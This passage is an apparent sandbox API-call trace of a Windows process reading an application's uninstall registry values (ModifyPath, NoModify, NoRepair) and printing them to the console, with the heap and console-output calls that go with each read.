lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.310] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.310] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.310] __iob_func () returned 0x7fefd702a80 [0147.310] _fileno (_File=0x7fefd702ab0) returned 1 [0147.310] _errno () returned 0xc4bb0 [0147.310] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.310] _errno () returned 0xc4bb0 [0147.310] GetFileType (hFile=0x50) returned 0x1 [0147.310] lstrlenW (lpString=" ") returned 4 [0147.310] GetConsoleOutputCP () returned 0x1b5 [0147.311] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.311] GetConsoleOutputCP () returned 0x1b5 [0147.311] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.311] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.311] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.311] __iob_func () returned 0x7fefd702a80 [0147.311] _fileno (_File=0x7fefd702ab0) returned 1 [0147.311] _errno () returned 0xc4bb0 [0147.311] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.311] _errno () returned 0xc4bb0 [0147.311] GetFileType (hFile=0x50) returned 0x1 [0147.311] lstrlenW (lpString="c:\\d82874be2c8645ac0b\\") returned 22 [0147.311] GetConsoleOutputCP () returned 0x1b5 [0147.311] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="c:\\d82874be2c8645ac0b\\", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0147.311] GetConsoleOutputCP () returned 0x1b5 [0147.311] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="c:\\d82874be2c8645ac0b\\", cchWideChar=22, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="c:\\d82874be2c8645ac0b\\", lpUsedDefaultChar=0x0) returned 22 [0147.311] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 22 [0147.311] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.311] __iob_func () returned 0x7fefd702a80 [0147.311] _fileno (_File=0x7fefd702ab0) returned 1 [0147.311] _errno () returned 0xc4bb0 [0147.311] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.311] _errno () returned 0xc4bb0 [0147.311] GetFileType (hFile=0x50) returned 0x1 [0147.311] lstrlenW (lpString="\n") returned 1 [0147.312] GetConsoleOutputCP () returned 0x1b5 [0147.312] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.312] GetConsoleOutputCP () returned 0x1b5 [0147.312] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.312] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.312] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.312] GetProcessHeap () returned 0x2e0000 [0147.312] GetProcessHeap () returned 0x2e0000 [0147.312] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.312] GetProcessHeap () returned 0x2e0000 [0147.312] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x32 [0147.312] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0147.312] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.312] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0147.312] GetProcessHeap () returned 0x2e0000 [0147.312] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.312] GetProcessHeap () returned 0x2e0000 [0147.312] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.312] GetProcessHeap () returned 0x2e0000 [0147.312] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.312] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}", pcbData=0x23f670*=0x6a) returned 0x0 [0147.312] __iob_func () returned 0x7fefd702a80 [0147.312] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.312] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.312] _fileno (_File=0x7fefd702ab0) returned 1 [0147.312] _errno () returned 0xc4bb0 [0147.312] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.312] _errno () returned 0xc4bb0 [0147.313] GetFileType (hFile=0x50) returned 0x1 [0147.313] lstrlenW (lpString=" ") returned 4 [0147.313] GetConsoleOutputCP () returned 0x1b5 [0147.313] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.313] GetConsoleOutputCP () returned 0x1b5 [0147.313] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.313] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.313] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.313] lstrlenW (lpString="ModifyPath") returned 10 [0147.313] __iob_func () returned 0x7fefd702a80 [0147.313] _fileno (_File=0x7fefd702ab0) returned 1 [0147.313] _errno () returned 0xc4bb0 [0147.313] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.313] _errno () returned 0xc4bb0 [0147.313] GetFileType (hFile=0x50) returned 0x1 [0147.313] lstrlenW (lpString="ModifyPath") returned 10 [0147.313] GetConsoleOutputCP () returned 0x1b5 [0147.313] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0147.313] GetConsoleOutputCP () returned 0x1b5 [0147.313] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0147.314] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0147.314] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.314] __iob_func () returned 0x7fefd702a80 [0147.314] _fileno (_File=0x7fefd702ab0) returned 1 [0147.314] _errno () returned 0xc4bb0 [0147.314] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.314] _errno () returned 0xc4bb0 [0147.314] GetFileType (hFile=0x50) returned 0x1 [0147.314] lstrlenW (lpString=" ") returned 4 [0147.314] GetConsoleOutputCP () returned 0x1b5 [0147.314] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.314] GetConsoleOutputCP () returned 0x1b5 [0147.314] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.314] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.314] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.314] __iob_func () returned 0x7fefd702a80 [0147.314] _fileno (_File=0x7fefd702ab0) returned 1 [0147.314] _errno () returned 0xc4bb0 [0147.314] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.314] _errno () returned 0xc4bb0 [0147.314] GetFileType (hFile=0x50) returned 0x1 [0147.314] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.314] GetConsoleOutputCP () returned 0x1b5 [0147.314] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.315] GetConsoleOutputCP () returned 0x1b5 [0147.315] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.315] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.315] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.315] __iob_func () returned 0x7fefd702a80 [0147.315] _fileno (_File=0x7fefd702ab0) returned 1 [0147.315] _errno () returned 0xc4bb0 [0147.315] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.315] _errno () returned 0xc4bb0 [0147.315] GetFileType (hFile=0x50) returned 0x1 [0147.315] lstrlenW (lpString=" ") returned 4 [0147.315] GetConsoleOutputCP () returned 0x1b5 [0147.315] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.315] GetConsoleOutputCP () returned 0x1b5 [0147.315] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.315] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.315] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.315] __iob_func () returned 0x7fefd702a80 [0147.315] _fileno (_File=0x7fefd702ab0) returned 1 [0147.315] _errno () returned 0xc4bb0 [0147.315] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.315] _errno () returned 0xc4bb0 [0147.315] GetFileType (hFile=0x50) returned 0x1 [0147.315] lstrlenW (lpString="MsiExec.exe /X{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}") returned 52 [0147.315] GetConsoleOutputCP () returned 0x1b5 [0147.316] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0147.316] GetConsoleOutputCP () returned 0x1b5 [0147.316] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}", lpUsedDefaultChar=0x0) returned 52 [0147.316] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0147.316] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.316] __iob_func () returned 0x7fefd702a80 [0147.316] _fileno (_File=0x7fefd702ab0) returned 1 [0147.316] _errno () returned 0xc4bb0 [0147.316] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.316] _errno () returned 0xc4bb0 [0147.316] GetFileType (hFile=0x50) returned 0x1 [0147.316] lstrlenW (lpString="\n") returned 1 [0147.316] GetConsoleOutputCP () returned 0x1b5 [0147.316] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.316] GetConsoleOutputCP () returned 0x1b5 [0147.316] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.316] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.316] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.316] GetProcessHeap () returned 0x2e0000 [0147.316] GetProcessHeap () returned 0x2e0000 [0147.316] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.316] GetProcessHeap () returned 0x2e0000 [0147.317] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.317] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.317] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.317] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.317] GetProcessHeap () returned 0x2e0000 [0147.317] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.317] GetProcessHeap () returned 0x2e0000 [0147.317] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.317] GetProcessHeap () returned 0x2e0000 [0147.317] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.317] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.317] __iob_func () returned 0x7fefd702a80 [0147.317] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.317] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.317] _fileno (_File=0x7fefd702ab0) returned 1 [0147.317] _errno () returned 0xc4bb0 [0147.317] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.317] _errno () returned 0xc4bb0 [0147.317] GetFileType (hFile=0x50) returned 0x1 [0147.317] lstrlenW (lpString=" ") returned 4 [0147.317] GetConsoleOutputCP () returned 0x1b5 [0147.317] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.317] GetConsoleOutputCP () returned 0x1b5 [0147.317] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.317] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.317] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.317] lstrlenW (lpString="NoModify") returned 8 [0147.318] __iob_func () returned 0x7fefd702a80 [0147.318] _fileno (_File=0x7fefd702ab0) returned 1 [0147.318] _errno () returned 0xc4bb0 [0147.318] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.318] _errno () returned 0xc4bb0 [0147.318] GetFileType (hFile=0x50) returned 0x1 [0147.318] lstrlenW (lpString="NoModify") returned 8 [0147.318] GetConsoleOutputCP () returned 0x1b5 [0147.318] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.318] GetConsoleOutputCP () returned 0x1b5 [0147.318] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0147.318] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.318] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.318] __iob_func () returned 0x7fefd702a80 [0147.319] _fileno (_File=0x7fefd702ab0) returned 1 [0147.319] _errno () returned 0xc4bb0 [0147.319] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.319] _errno () returned 0xc4bb0 [0147.319] GetFileType (hFile=0x50) returned 0x1 [0147.319] lstrlenW (lpString=" ") returned 4 [0147.319] GetConsoleOutputCP () returned 0x1b5 [0147.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.319] GetConsoleOutputCP () returned 0x1b5 [0147.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.319] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.319] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.319] __iob_func () returned 0x7fefd702a80 [0147.319] _fileno (_File=0x7fefd702ab0) returned 1 [0147.319] _errno () returned 0xc4bb0 [0147.319] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.319] _errno () returned 0xc4bb0 [0147.319] GetFileType (hFile=0x50) returned 0x1 [0147.319] lstrlenW (lpString="REG_DWORD") returned 9 [0147.319] GetConsoleOutputCP () returned 0x1b5 [0147.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.319] GetConsoleOutputCP () returned 0x1b5 [0147.325] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.325] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.325] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.325] __iob_func () returned 0x7fefd702a80 [0147.325] _fileno (_File=0x7fefd702ab0) returned 1 [0147.325] _errno () returned 0xc4bb0 [0147.325] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.325] _errno () returned 0xc4bb0 [0147.325] GetFileType (hFile=0x50) returned 0x1 [0147.325] lstrlenW (lpString=" ") returned 4 [0147.326] GetConsoleOutputCP () returned 0x1b5 [0147.326] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.326] GetConsoleOutputCP () returned 0x1b5 [0147.326] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.326] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.326] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.326] __iob_func () returned 0x7fefd702a80 [0147.326] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.326] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.326] _fileno (_File=0x7fefd702ab0) returned 1 [0147.326] _errno () returned 0xc4bb0 [0147.326] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.326] _errno () returned 0xc4bb0 [0147.326] GetFileType (hFile=0x50) returned 0x1 [0147.326] lstrlenW (lpString="0x1") returned 3 [0147.326] GetConsoleOutputCP () returned 0x1b5 [0147.326] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.326] GetConsoleOutputCP () returned 0x1b5 [0147.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.327] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.327] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.327] __iob_func () returned 0x7fefd702a80 [0147.327] _fileno (_File=0x7fefd702ab0) returned 1 [0147.327] _errno () returned 0xc4bb0 [0147.327] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.327] _errno () returned 0xc4bb0 [0147.327] GetFileType (hFile=0x50) returned 0x1 [0147.327] lstrlenW (lpString="\n") returned 1 [0147.327] GetConsoleOutputCP () returned 0x1b5 [0147.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.327] GetConsoleOutputCP () returned 0x1b5 [0147.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.327] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.327] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.327] GetProcessHeap () returned 0x2e0000 [0147.327] GetProcessHeap () returned 0x2e0000 [0147.327] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.327] GetProcessHeap () returned 0x2e0000 [0147.327] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.327] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.327] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRepair", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.327] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.328] GetProcessHeap () returned 0x2e0000 [0147.328] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.328] GetProcessHeap () returned 0x2e0000 [0147.328] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.328] GetProcessHeap () returned 0x2e0000 [0147.328] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.328] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.328] __iob_func () returned 0x7fefd702a80 [0147.328] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.328] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" 